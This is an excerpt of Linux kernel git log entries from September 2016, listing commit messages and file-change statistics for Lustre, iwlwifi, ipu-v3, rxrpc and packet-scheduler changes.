212f6c7fcf06ecbe2d47d5e22f0068d035d5ee34 Author: John L. Hammond Date: Sun Sep 18 16:37:11 2016 -0400 staging: lustre: lmv: fix some byte order issues In the handler for LL_IOC_LMV_GETSTRIPE convert stripe FIDs from little to CPU endian when unpacking lmv_user_md. In lmv_unpack_md_v1() fix a double conversion of the stripe count. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5342 Reviewed-on: http://review.whamcloud.com/11106 Reviewed-by: Dmitry Eremin Reviewed-by: Jian Yu Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/dir.c | 8 ++++---- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) commit 6e05f3d3b9298a56d6f1acb474a75cf14a17c31e Author: Daniel Vetter Date: Mon Sep 19 09:26:08 2016 +0200 drm/i915: Update DRIVER_DATE to 20160919 Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 47137ad380a4d4c738f246bd792b76fd403219ce Author: Bobi Jam Date: Sun Sep 18 16:37:10 2016 -0400 staging: lustre: llite: update ras stride offset When a read ahead does not reach the end of the region reserved from ras, we'd set ras::ras_next_readahead back to where we left off; For stride read ahead, it needs to make sure that the offset is no less than ras_stride_offset, so that the stride read ahead can work correctly. Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5263 Reviewed-on: http://review.whamcloud.com/11181 Reviewed-by: Fan Yong Reviewed-by: wang di Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/rw.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) commit 50dd90bab8745fe88e1e791dd6dfe2d5053c3981 Author: John L. Hammond Date: Sun Sep 18 16:37:09 2016 -0400 staging: lustre: llite: add LL_LEASE_{RD,WR,UN}LCK Define new constants LL_LEASE_{RD,WR,UN}LCK for use as the argument to and return value from the LL_IOC_{GET,SET}_LEASE ioctls. As arguments, these contants replace the use of F_{RD,WR,UN}LCK from fcntl.h. As return values they replace the use of FMODE_{READ,WRITE} which are internal to the Linux kernel source and not under the control of the Lustre ioctl interface. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5013 Reviewed-on: http://review.whamcloud.com/10233 Reviewed-by: Jinshan Xiong Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_user.h | 7 +++ drivers/staging/lustre/lustre/llite/file.c | 51 ++++++++++++---------- 2 files changed, 35 insertions(+), 23 deletions(-) commit 33ddd841eaf3ce7ba0b8daa041be4c851d2590a3 Author: Niu Yawei Date: Sun Sep 18 16:37:08 2016 -0400 staging: lustre: obdclass: serialize lu_site purge Umount process relies on lu_site_purge(-1) to purge all objects before umount, however, if there happen to have a cache shrinker which calls lu_site_purge(nr) in parallel, some objects may still being freed by cache shrinker even after the lu_site_purge(-1) called by umount done. This can be simply fixed by serializing purge threads, since it doesn't make any sense to have them in parallel. Signed-off-by: Niu Yawei Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5331 Reviewed-on: http://review.whamcloud.com/11099 Reviewed-by: Lai Siyao Reviewed-by: Mike Pershin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lu_object.h | 5 +++++ drivers/staging/lustre/lustre/obdclass/lu_object.c | 7 +++++++ 2 files changed, 12 insertions(+) commit 638814f6cdaaa20b9db362ae436ca11283dac98b Author: John L. Hammond Date: Sun Sep 18 16:37:07 2016 -0400 staging: lustre: obd: add rnb_ prefix to struct niobuf_remote members Add the prefix rnb_ to the members of struct niobuf_remote. Delete the relevant compat macros from ofd_internal.h. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5061 Reviewed-on: http://review.whamcloud.com/10452 Reviewed-by: Andreas Dilger Reviewed-by: Mike Pershin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_idl.h | 6 +++--- .../staging/lustre/lustre/obdecho/echo_client.c | 14 ++++++------- drivers/staging/lustre/lustre/osc/osc_request.c | 8 ++++---- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 8 ++++---- drivers/staging/lustre/lustre/ptlrpc/wiretest.c | 24 +++++++++++----------- 5 files changed, 30 insertions(+), 30 deletions(-) commit 485154db5e7711424f17fe5fd4d209f1571521c8 Author: John L. Hammond Date: Sun Sep 18 16:37:06 2016 -0400 staging: lustre: obd: add lnb_ prefix to members of struct niobuf_local Add the prefix lnb_ to the members of struct niobuf_local that do not already have it. Change the struct dentry *lnb_dentry member to void *lnb_data as it is not used to hold a pointer to struct dentry. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5061 Reviewed-on: http://review.whamcloud.com/10451 Reviewed-by: Andreas Dilger Reviewed-by: Mike Pershin Reviewed-by: Alex Zhuravlev Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 10 +++++----- drivers/staging/lustre/lustre/obdecho/echo_client.c | 6 +++--- 2 files changed, 8 insertions(+), 8 deletions(-) commit feefbe04ff2e72acbf9bff7b9b3e123a253d3869 Author: wang di Date: Sun Sep 18 16:37:05 2016 -0400 staging: lustre: lmv: Do not ignore ENOENT in lmv_unlink Return correct value (rc) in lmv_unlink. In lmv_unlink, -ENOENT might be ingored for local directory unlink. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5371 Reviewed-on: http://review.whamcloud.com/11170 Reviewed-by: John L. Hammond Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_obd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2e1ff4515adf956a47d98b2a711e2775f2406d44 Author: Alexander Zarochentsev Date: Sun Sep 18 16:37:04 2016 -0400 staging: lustre: obdclass: optimize busy loop wait two optimizations in the busy loop wait in class_cleanup(): (1) remove unnecessary spinlocks protecting obd_conn_inprogress access (2) replace cond_resched by more suitable yield to unconditionally yield the CPU if the condition check fails. Signed-off-by: Alexander Zarochentsev Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5397 Xyratex-bug-id: MRP-1991 Reviewed-on: http://review.whamcloud.com/11198 Reviewed-by: Andreas Dilger Reviewed-by: Dmitry Eremin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/obd_config.c | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) commit 1d62e09c2dd3c74e9244e550f2197f075999b0e1 Author: wang di Date: Sun Sep 18 16:37:03 2016 -0400 staging: lustre: lmv: honor MDT index when creating volatile file LMV should honor MDT index embedded in the name of volatile file, then during hsm restore, the file under striped dir can be restored to the right MDT. Signed-off-by: wang di Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4691 Reviewed-on: http://review.whamcloud.com/10866 Reviewed-by: Andreas Dilger Reviewed-by: Henri Doreau Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/lustre/lustre_user.h | 1 + drivers/staging/lustre/lustre/llite/dir.c | 17 +++++++ drivers/staging/lustre/lustre/llite/llite_lib.c | 5 ++- drivers/staging/lustre/lustre/lmv/lmv_fld.c | 16 ++++--- drivers/staging/lustre/lustre/lmv/lmv_internal.h | 5 +++ drivers/staging/lustre/lustre/lmv/lmv_obd.c | 52 ++++++++++++++++++++-- 6 files changed, 84 insertions(+), 12 deletions(-) commit cde5f1097356568492257a550766e45264cfa923 Author: John L. Hammond Date: Sun Sep 18 16:37:02 2016 -0400 staging: lustre: ldlm: fix a use after free in ldlm_resource_get() If lvbo initialization has failed then save the return status (from lr_lvb_len) before putting the resource. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5305 Reviewed-on: http://review.whamcloud.com/11017 Reviewed-by: Andreas Dilger Reviewed-by: Emoly Liu Reviewed-by: Dmitry Eremin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_resource.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2e0ca344931997954443dbda26cfb409e7cd1f08 Author: Li Xi Date: Sun Sep 18 16:37:01 2016 -0400 staging: lustre: ptlrpc: enlarge OST_MAXREQSIZE for 4MB RPC This patch enlarges OST_MAXREQSIZE so as to make the request size large enough for 4MB RPC. Signed-off-by: Li Xi Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4755 Reviewed-on: http://review.whamcloud.com/9599 Reviewed-by: Andreas Dilger Reviewed-by: Jinshan Xiong Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_net.h | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit cfa4860592ba641077a439bf2848dcf57803f422 Author: Li Xi Date: Sun Sep 18 16:37:00 2016 -0400 staging: lustre: llite: fix ll_statahead_thread() problems on failure When ll_prep_md_op_data() fails, ll_statahead_thread() does not release reference of sai and parent dentry. It does not wake up parent thread either. This patch fixes these problems. Signed-off-by: Li Xi Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5274 Reviewed-on: http://review.whamcloud.com/10940 Reviewed-by: John L. Hammond Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/statahead.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit 9f8cf165c62913244479832f04c44cd77ffc9293 Merge: 8506912 a988588 Author: Dave Airlie Date: Mon Sep 19 17:16:02 2016 +1000 Merge tag 'topic/drm-misc-2016-09-19' of git://anongit.freedesktop.org/drm-intel into drm-next Just random misc stuff that Sean/Sumit&Archit picked up while I relaxed. Well except for one commit: * tag 'topic/drm-misc-2016-09-19' of git://anongit.freedesktop.org/drm-intel: drm: Only use compat ioctl for addfb2 on X86/IA64 drm/qxl: squash lines for simple wrapper functions drm/bridge: analogix_dp: squash lines for simple wrapper functions drm/radeon: squash lines for simple wrapper functions drm/amdgpu: squash lines for simple wrapper functions dma-buf/sync-file: Avoid enable fence signaling if poll(.timeout=0) drm/fence: allow fence waiting to be interrupted by userspace drm: Move property validation to a helper, v2. drm/bridge: adv7511: add support for the 2nd chip commit c51f2ff0075b77f272da93b7155aa666a77c8fe7 Merge: eddde28 3be7988 Author: Greg Kroah-Hartman Date: Mon Sep 19 09:12:41 2016 +0200 Merge 4.8-rc7 into usb-next We want/need the USB fixes in here as well. Signed-off-by: Greg Kroah-Hartman commit 5a41a86c525a53d31a229dd358f70d6b4b5a7bbc Author: Sharon Dvir Date: Wed Aug 10 09:05:48 2016 +0300 iwlwifi: migrate to devm_* API Change PCIE and trans resource allocations to managed resources. Signed-off-by: Sharon Dvir Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-trans.c | 8 +-- drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 81 ++++++++++--------------- 2 files changed, 34 insertions(+), 55 deletions(-) commit 341d7eb8223bdd48bdf75729487a2de5e01623b3 Author: Sara Sharon Date: Thu Aug 18 20:14:38 2016 +0300 iwlwifi: mvm: disable P2P queue on mac context release AP queue is properly released, but P2P queue isn't. Fixes: commit 4c965139a3cd ("iwlwifi: mvm: support p2p device frames tx on dqa queue #2") Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/mac-ctxt.c | 5 +++++ 1 file changed, 5 insertions(+) commit de9466499b1ce705808bbc7876a9ee929b13d5bc Author: Emmanuel Grumbach Date: Mon Aug 22 23:24:40 2016 +0300 iwlwifi: don't export trace points that are used in iwlwifi only This can save a few bytes Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-devtrace.c | 3 --- 1 file changed, 3 deletions(-) commit 8ec8ed437936ea40427ac2777dd4b65c87009d0a Author: Johannes Berg Date: Thu Aug 18 14:18:40 2016 +0200 iwlwifi: mvm: document passing unexpected Block Ack Request frames When we get an unexpected Block Ack Request frame, the BAID from the hardware will be invalid, and we'll pass it to mac80211 for further handling (sending a delBA action frame.) Add a comment explaining that, in case anyone looks in the future. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/rxmq.c | 5 +++++ 1 file changed, 5 insertions(+) commit 5b88792cd8505d3804be199c10b3c4159fecb258 Author: Sara Sharon Date: Mon Aug 15 17:36:47 2016 +0300 iwlwifi: move to wide ID for all commands Due to firmware design considerations, move to wide ID for all commands. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-notif-wait.c | 8 ++++++-- drivers/net/wireless/intel/iwlwifi/iwl-trans.c | 3 +++ drivers/net/wireless/intel/iwlwifi/iwl-trans.h | 5 +++-- drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 4 ++-- drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 2 -- drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 1 - drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 2 +- 7 files changed, 15 insertions(+), 10 deletions(-) commit 607876f1dac6c644d83964f3f4691e79737b5bb2 Author: Johannes Berg Date: Thu Aug 18 10:32:58 2016 +0200 iwlwifi: mvm: make iwl_mvm_update_sta() an inline There's no point in making this an out-of-line function since it just calls a single other function with a few changed parameters. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 7 ------- drivers/net/wireless/intel/iwlwifi/mvm/sta.h | 11 ++++++++--- 2 files changed, 8 insertions(+), 10 deletions(-) commit 35177c9931465e06379729d1ef2a22628ac9cbdf Author: Sara Sharon Date: Mon Aug 15 17:13:27 2016 +0300 iwlwifi: pcie: log full command sequence Log group as well. Remove 0x prefix to match TX logging. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/rx.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 671bed3fbeecb5e8392ed054d2cab78ed66290ff Author: Arik Nemtsov Date: Sun Aug 7 18:58:29 2016 +0300 iwlwifi: move BIOS MCC retrieval to common code This will be used by more than MVM, so move it to iwlwifi While at it, rename WRD_METHOD to the more appropriate WRDD_METHOD and add some documentation. Signed-off-by: Arik Nemtsov Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-nvm-parse.c | 89 +++++++++++++++++++++ drivers/net/wireless/intel/iwlwifi/iwl-nvm-parse.h | 20 ++++- drivers/net/wireless/intel/iwlwifi/mvm/nvm.c | 93 +--------------------- 3 files changed, 109 insertions(+), 93 deletions(-) commit 4857d6cbf7ca4e040ac2b24687464c76e0be96ff Author: Sara Sharon Date: Tue Aug 9 20:03:52 2016 +0300 iwlwifi: mvm: support packet injection For automatic testing packet injection can be useful. Support injection through debugfs. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/debugfs.c | 55 ++++++++++++++++++++++++ 1 file changed, 55 insertions(+) commit aacf8f189b03b3d3c2e577a6d4ef5872bf4d393f Author: Avrahams Stern Date: Tue Jul 19 11:15:09 2016 +0300 iwlwifi: mvm: Add support for RRM by scan Implement support for RRM by adding an option to configure the scan dwell time and reporting scan start time and BSS detection time, and Advertise support for these features. Signed-off-by: David Spinadel Signed-off-by: Avraham Stern Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-fw-file.h | 5 ++ .../net/wireless/intel/iwlwifi/mvm/fw-api-scan.h | 20 ++++--- drivers/net/wireless/intel/iwlwifi/mvm/mac80211.c | 10 ++++ drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 6 +++ drivers/net/wireless/intel/iwlwifi/mvm/scan.c | 61 +++++++++++++++++++--- 5 files changed, 88 insertions(+), 14 deletions(-) commit 9a73a7d24d51eaf9e43c771c53cf7b594e5b5334 Author: Sara Sharon Date: Mon Aug 8 13:07:01 2016 +0300 iwlwifi: mvm: support BAR in reorder buffer On default queue we will not receive frame release notification, but the BAR itself. Upon receiving the BAR driver should look at the NSSN and adjust window accordingly. Fixes: b915c10174fb ("iwlwifi: mvm: add reorder buffer per queue") Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/rxmq.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 3ee0f0e23e4f290b2ee0a273b34c6e4f95a209a0 Author: Sara Sharon Date: Mon Aug 8 11:51:24 2016 +0300 iwlwifi: mvm: fix DQA AP mode station assumption There was recently a Full AP mode feature added where hostap adds the station at auth stage, and not assoc. However, when running with legacy hostapd, we get the auth response before station was added, and tx_skb_non_sta fails to allocate a queue, resulting in a complete failure of association. Take care of this situation as well. Add a warning when no valid queue is returned at all and make mvm drop the packet instead of passing it on. Refactor the function a bit while at it. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 35 +++++++++++++++++++++++------ 1 file changed, 28 insertions(+), 7 deletions(-) commit a6c934b364948cd4de5bd9ab055bb65206ec70f3 Author: Haim Dreyfuss Date: Tue Aug 2 15:28:23 2016 +0300 iwlwifi: check for valid ethernet address provided by OEM In 9000 family products we added an option to let the OEM fuse the mac address via registers. If these registers are zeroed we use the OTP address instead. Make sure that the address provided by the OEM is valid and, if not, fall back to the OTP address as well. Fixes: commit 17c867bfe89b ("iwlwifi: add support for getting HW address from CSR") Signed-off-by: Haim Dreyfuss Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-nvm-parse.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit cd98e85a6b786da83e0b120b53a182d100c19c9b Author: Steve Longerbeam Date: Sat Sep 17 12:33:58 2016 -0700 gpu: ipu-v3: Add queued image conversion support This patch implements image conversion support using the IC tasks, with tiling to support scaling to and from images up to 4096x4096. Image rotation is also supported. Image conversion requests are added to a run queue under the IC tasks. The internal API is subsystem agnostic (no V4L2 dependency except for the use of V4L2 fourcc pixel formats). Callers prepare for image conversion by calling ipu_image_convert_prepare(), which initializes the parameters of the conversion. The caller passes in the ipu and IC task to use for the conversion, the input and output image formats, a rotation mode, and a completion callback and completion context pointer: struct ipu_image_converter_ctx * ipu_image_convert_prepare(struct ipu_soc *ipu, enum ipu_ic_task ic_task, struct ipu_image *in, struct ipu_image *out, enum ipu_rotate_mode rot_mode, ipu_image_converter_cb_t complete, void *complete_context); A new conversion context is created that is added to an IC task context queue. The caller is given the new conversion context, which can then be passed to the further APIs: int ipu_image_convert_queue(struct ipu_image_converter_run *run); This queues the given image conversion request run to a run queue, and starts the conversion immediately if the run queue is empty. Only the physaddr's of the input and output image buffers are needed, since the conversion context was created previously with ipu_image_convert_prepare(). When the conversion completes, the run pointer is returned to the completion callback. void ipu_image_convert_abort(struct ipu_image_converter_ctx *ctx); This will abort any active or pending conversions for this context. Any currently active or pending runs belonging to this context are returned via the completion callback with an error status. void ipu_image_convert_unprepare(struct ipu_image_converter_ctx *ctx); Unprepares the conversion context. Any active or pending runs will be aborted by calling ipu_image_convert_abort(). Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/Makefile | 3 +- drivers/gpu/ipu-v3/ipu-common.c | 9 + drivers/gpu/ipu-v3/ipu-image-convert.c | 1709 ++++++++++++++++++++++++++++++++ drivers/gpu/ipu-v3/ipu-prv.h | 5 + include/video/imx-ipu-image-convert.h | 207 ++++ 5 files changed, 1932 insertions(+), 1 deletion(-) commit 8b9c3d5099b265892ab3578bc757d9b81e5655a6 Author: Steve Longerbeam Date: Sat Sep 17 12:33:57 2016 -0700 gpu: ipu-v3: Add ipu_rot_mode_is_irt() Add a macro that returns boolean true if the given ipu_rotate_mode requires the use of the Image Rotator. Signed-off-by: Steve Longerbeam Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-ic.c | 2 +- include/video/imx-ipu-v3.h | 22 +++++++++++++++------- 2 files changed, 16 insertions(+), 8 deletions(-) commit e92e44787763f006911fe09adccfa285f9c7b8d7 Author: LABBE Corentin Date: Wed Aug 24 10:17:17 2016 +0200 gpu: ipu-v3: fix a possible NULL dereference of_match_device could return NULL, and so cause a NULL pointer dereference later. For fixing this problem, we use of_device_get_match_data(), this will simplify the code a little by using a standard function for getting the match data. Testing the return value of of_device_get_match_data is also necessary for avoiding a second NULL deref later on devtype. Signed-off-by: LABBE Corentin Signed-off-by: Philipp Zabel drivers/gpu/ipu-v3/ipu-common.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 91b08c2da4b1b89c265d4c68354b1ef3564a9eeb Author: Aviya Erenfeld Date: Sun Mar 27 14:53:49 2016 +0300 iwlwifi: mvm: add support for MU-MIMO air sniffer enable MU-MIMO air sniffer if it's supported by the NIC Signed-off-by: Aviya Erenfeld Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/mac80211.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 61b0f5d7c41408ff523a5cd3925feafa82b971f5 Author: Johannes Berg Date: Thu Aug 4 08:57:59 2016 +0200 iwlwifi: mvm: compare full command ID When comparing command IDs, the group should be taken into account so the same command/notification from a different group doesn't trigger anything unexpected. Fix this by comparing to the wide ID. Fixes: commit 1738d60b31d7 ("iwlwifi: mvm: handle RX MPDUs separately") Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) commit 5a710b8606cc3ec12f60a400248a051743ee35d1 Author: Sara Sharon Date: Wed Aug 3 14:08:00 2016 +0300 iwlwifi: mvm: cleanup skb queue functions use Use skb_queue_empty() and not skb_peek_tail() to check for empty list. Avoid a redundant check as well - loop will take care of it. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/rxmq.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit 8352e62ac2c4ebbfe95c95561f9f16d0ff06f375 Author: Sara Sharon Date: Thu Aug 4 10:56:53 2016 +0300 iwlwifi: pcie: fix typo in struct name for a000 devices commit 3cd1980b0cdf ("iwlwifi: pcie: introduce new tfd and tb formats") Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d55092b4812827b577daf2da7b4e404d87571e0b Author: Liad Kaufman Date: Wed Aug 3 18:41:27 2016 +0300 iwlwifi: mvm: remove variable shadowing Variable "ac" defined twice. Fix that. Fixes: commit 93f436e2c7fe ("iwlwifi: mvm: set sta_id in SCD_QUEUE_CONFIG cmd") Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e867e87ae88c54f741d1cabd1de536b4497a0504 Merge: 5b0c6fc 8a681c36 Author: David S. Miller Date: Mon Sep 19 01:52:21 2016 -0400 Merge tag 'rxrpc-rewrite-20160917-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Tracepoint addition and improvement Here is a set of patches that add some more tracepoints and improve a couple of existing ones. New additions include: (1) Connection refcount tracking. (2) Client connection state machine tracking. (3) Tx and Rx packet lifecycle. (4) ACK reception and transmission. (5) recvmsg processing. Updates include: (1) Print the symbolic packet name in the Rx packet tracepoint. (2) Additional call refcount trace events. (3) Improvements to sk_buff tracking with AF_RXRPC. In addition: (1) Config option to inject packet loss during both transmission and reception. (2) Removal of some printks. This series needs to be applied on top of the previously posted fixes. ==================== Signed-off-by: David S. Miller commit 5b0c6fc8eff75c2c50508a2ac4415ce73d0d6936 Merge: 029ac21 182f505 Author: David S. Miller Date: Mon Sep 19 01:51:21 2016 -0400 Merge tag 'rxrpc-rewrite-20160917-1' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Fixes & miscellany Here are some more AF_RXRPC fix patches with a couple of miscellaneous changes also. Fixes include: (1) Make RxRPC IPv6 support conditional on IPv6 being available. (2) Move the condition check in rxrpc_locate_data() into the caller and check the error return. (3) Fix the detection of the last received packet in recvmsg. (4) Account calls that need acceptance and clean up any unaccepted ones if the socket gets closed. (5) Fix the cleanup of client connections. (6) Fix the soft-ACK parsing and the retransmission of packets based on those ACKs. (7) Suppress transmission of an ACK when there's no pending ACK to transmit because another thread stole it. And some miscellany: (8) Whitespace removal. (9) Switch-value consistency in rxrpc_send_call_packet(). (10) Fix the basic transmission packet size to allow for spur-of-the-moment jumbo DATA packet production. ==================== Signed-off-by: David S. Miller commit 029ac211464f9cf87fa7aa51a6f01e41642d76c3 Merge: 106323b 48da34b Author: David S. Miller Date: Mon Sep 19 01:47:23 2016 -0400 Merge branch 'net-sched-singly-linked-list' Florian Westphal says: ==================== sched: convert queues to single-linked list During Netfilter Workshop 2016 Eric Dumazet pointed out that qdisc schedulers use doubly-linked lists, even though single-linked list would be enough. The double-linked skb lists incur one extra write on enqueue/dequeue operations (to change ->prev pointer of next list elem). This series converts qdiscs to single-linked version, listhead maintains pointers to first (for dequeue) and last skb (for enqueue). Most qdiscs don't queue at all and instead use a leaf qdisc (typically pfifo_fast) so only a few schedulers needed changes. I briefly tested netem and htb and they seemed fine. UDP_STREAM netperf with 64 byte packets via veth+pfifo_fast shows a small (~2%) improvement. ==================== Signed-off-by: David S. Miller commit 48da34b7a74201f15315cb1fc40bb9a7bd2b4940 Author: Florian Westphal Date: Sun Sep 18 00:57:34 2016 +0200 sched: add and use qdisc_skb_head helpers This change replaces sk_buff_head struct in Qdiscs with new qdisc_skb_head. Its similar to the skb_buff_head api, but does not use skb->prev pointers. Qdiscs will commonly enqueue at the tail of a list and dequeue at head. While skb_buff_head works fine for this, enqueue/dequeue needs to also adjust the prev pointer of next element. The ->prev pointer is not required for qdiscs so we can just leave it undefined and avoid one cacheline write access for en/dequeue. Suggested-by: Eric Dumazet Signed-off-by: Florian Westphal Signed-off-by: David S. Miller include/net/sch_generic.h | 63 ++++++++++++++++++++++++++++++++++++++--------- net/sched/sch_generic.c | 21 ++++++++-------- net/sched/sch_htb.c | 24 +++++++++++++++--- net/sched/sch_netem.c | 14 +++++++++-- 4 files changed, 94 insertions(+), 28 deletions(-) commit ed760cb8aae7c2b84c193d4a7637b0c9e752f07e Author: Florian Westphal Date: Sun Sep 18 00:57:33 2016 +0200 sched: replace __skb_dequeue with __qdisc_dequeue_head After previous patch these functions are identical. Replace __skb_dequeue in qdiscs with __qdisc_dequeue_head. Next patch will then make __qdisc_dequeue_head handle single-linked list instead of strcut sk_buff_head argument. Doesn't change generated code. Signed-off-by: Florian Westphal Signed-off-by: David S. Miller net/sched/sch_codel.c | 4 ++-- net/sched/sch_netem.c | 2 +- net/sched/sch_pie.c | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit ec323368793b8570c02e723127611a8d906a9b3f Author: Florian Westphal Date: Sun Sep 18 00:57:32 2016 +0200 sched: remove qdisc arg from __qdisc_dequeue_head Moves qdisc stat accouting to qdisc_dequeue_head. The only direct caller of the __qdisc_dequeue_head version open-codes this now. This allows us to later use __qdisc_dequeue_head as a replacement of __skb_dequeue() (which operates on sk_buff_head list). Signed-off-by: Florian Westphal Signed-off-by: David S. Miller include/net/sch_generic.h | 15 ++++++++------- net/sched/sch_generic.c | 7 ++++++- 2 files changed, 14 insertions(+), 8 deletions(-) commit 97d0678f913369af0dc8b510a682a641654ab743 Author: Florian Westphal Date: Sun Sep 18 00:57:31 2016 +0200 sched: don't use skb queue helpers A followup change will replace the sk_buff_head in the qdisc struct with a slightly different list. Use of the sk_buff_head helpers will thus cause compiler warnings. Open-code these accesses in an extra change to ease review. Signed-off-by: Florian Westphal Signed-off-by: David S. Miller net/sched/sch_fifo.c | 4 ++-- net/sched/sch_generic.c | 2 +- net/sched/sch_netem.c | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) commit 1486587b2fcda08dee7eab23784d504eed772c45 Author: Florian Westphal Date: Sun Sep 18 00:57:30 2016 +0200 pie: use qdisc_dequeue_head wrapper Doesn't change generated code. Signed-off-by: Florian Westphal Signed-off-by: David S. Miller net/sched/sch_pie.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 106323b905a6bcd21ff83dd4e19566282fd5eb52 Author: Wei Yongjun Date: Sat Sep 17 15:52:17 2016 +0000 cxgb4: Fix return value check in cfg_queues_uld() Fix the retrn value check which testing the wrong variable in cfg_queues_uld(). Fixes: 94cdb8bb993a ("cxgb4: Add support for dynamic allocation of resources for ULD") Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_uld.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 